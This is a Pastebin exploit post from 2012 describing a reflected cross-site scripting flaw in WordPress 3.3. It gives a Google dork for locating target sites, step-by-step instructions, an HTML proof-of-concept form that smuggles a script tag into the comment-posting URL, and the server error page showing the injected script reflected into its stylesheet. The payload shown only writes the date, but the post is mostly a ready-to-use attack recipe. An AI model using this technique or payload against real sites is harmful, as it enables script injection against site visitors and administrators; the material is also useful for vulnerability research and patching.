daily pastebin goal
67%
SHARE
TWEET

THN - Zero Day Reflected Cross Site Scripting vulnerability

a guest Jan 2nd, 2012 5,482 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Exploit Title: Reflected Cross Site Scripting in wordpress 3.3
  2. # Google Dork: "Proudly powered by WordPress"
  3. # Date: 2.Jan.2012
  4. # Author: Aditya Modha, Samir Shah
  5. # Software Link: http://www.wordpress.org/download/
  6. # Version: 3.3
  7. # Tested on: apache
  8. # CVE :  Nope.
  9.  
  10.  
  11. Step 1: Post a comment to the target website
  12.  
  13. Step 2: Replace the value of author tag, email tag, comment tag with the exact value of what has been post in the last comment. Change the value of comment_post_ID to the value of post (which can be known by opening that post and checking the value of p parameter in the url). For example the if the url is http://192.168.1.102/wordpress/?p=6 then the value of comment_post_ID is 6.
  14.  
  15. <html>
  16. <title>Wordpress 3.3 XSS PoC</title>
  17.  
  18. <body>
  19.  
  20. <form name="XSS" id="XSS" action="http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST">
  21. <input type="hidden" name="author" value="replace me">
  22. <input type="hidden" name="email" value="replace me">
  23. <input type="hidden" name="url" value="">
  24. <input type="hidden" name="comment" value="replace me">
  25. <input type="hidden" name="submit" value="Post Comment">
  26. <input type="hidden" name="comment_post_ID" value="replace me">
  27. <input type="hidden" name="comment_parent" value="0">
  28. <input type="button" value="Click Me" />
  29. </form>
  30.  
  31. </body>
  32. </html>
  33.  
  34. Step 3: Publish the above html file on the web server and access it. Click on "Click Me" button. This will try to post the comment to wordpress which will flag this comment as duplicate comment with the 500 Internal server error response. Here our XSS payload will get executed. Check wordpress_3.3_xss.png file.
  35.  
  36. Step 4: The response code where XSS payload reflects is given below
  37.  
  38. <!DOCTYPE html>
  39. <!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono
  40. -->
  41. <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
  42. <head>
  43.         <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  44.         <title>WordPress &rsaquo; Error</title>
  45.         <style type="text/css">
  46.                 html {
  47.                         background: #f9f9f9;
  48.                 }
  49.                 body {
  50.                         background: #fff;
  51.                         color: #333;
  52.                         font-family: sans-serif;
  53.                         margin: 2em auto;
  54.                         padding: 1em 2em;
  55.                         -webkit-border-radius: 3px;
  56.                         border-radius: 3px;
  57.                         border: 1px solid #dfdfdf;
  58.                         max-width: 700px;
  59.                 }
  60.                 #error-page {
  61.                         margin-top: 50px;
  62.                 }
  63.                 #error-page p {
  64.                         font-size: 14px;
  65.                         line-height: 1.5;
  66.                         margin: 25px 0 20px;
  67.                 }
  68.                 #error-page code {
  69.                         font-family: Consolas, Monaco, monospace;
  70.                 }
  71.                 ul li {
  72.                         margin-bottom: 10px;
  73.                         font-size: 14px ;
  74.                 }
  75.                 a {
  76.                         color: #21759B;
  77.                         text-decoration: none;
  78.                 }
  79.                 a:hover {
  80.                         color: #D54E21;
  81.                 }
  82.  
  83.                 .button {
  84.                         font-family: sans-serif;
  85.                         text-decoration: none;
  86.                         font-size: 14px !important;
  87.                         line-height: 16px;
  88.                         padding: 6px 12px;
  89.                         cursor: pointer;
  90.                         border: 1px solid #bbb;
  91.                         color: #464646;
  92.                         -webkit-border-radius: 15px;
  93.                         border-radius: 15px;
  94.                         -moz-box-sizing: content-box;
  95.                         -webkit-box-sizing: content-box;
  96.                         box-sizing: content-box;
  97.                 }
  98.  
  99.                 .button:hover {
  100.                         color: #000;
  101.                         border-color: #666;
  102.                 }
  103.  
  104.                 .button {
  105.                         background: #f2f2f2 url(http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>/wp-admin/images/white-grad.png) repeat-x scroll left top;
  106.                 }
  107.  
  108.                 .button:active {
  109.                         background: #eee url(http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>/wp-admin/images/white-grad-active.png) repeat-x scroll left top;
  110.                 }
  111.                         </style>
  112. </head>
  113. <body id="error-page">
  114.         <p>Duplicate comment detected; it looks as though you&#8217;ve already said that!</p></body>
  115. </html>
RAW Paste Data
Top